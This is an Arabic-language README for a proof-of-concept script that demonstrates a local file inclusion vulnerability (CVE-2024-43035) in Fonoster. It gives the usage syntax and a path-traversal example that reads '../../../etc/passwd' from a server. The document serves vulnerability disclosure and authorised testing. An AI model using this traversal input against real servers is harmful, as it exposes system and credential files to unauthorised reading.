CVE-2024-43035 - إثبات المفهوم لـ Fonoster LFI

يحتوي هذا المستودع على سكربت إثبات المفهوم (PoC) يوضح ثغرة تضمين الملفات المحلية في Fonoster. هذه الأداة مخصصة للأغراض التعليمية والاختبار المصرح به فقط.

الاستخدام

قراءة ملف محلي

لاسترداد ملف محلي من الخادم:

python3 fonoster_lfi_poc.py --url <fonoster_server_url> --path <file_path_to_retrieve>

مثال:

python3 fonoster_lfi_poc.py --url http://example.com --path "../../../etc/passwd"

z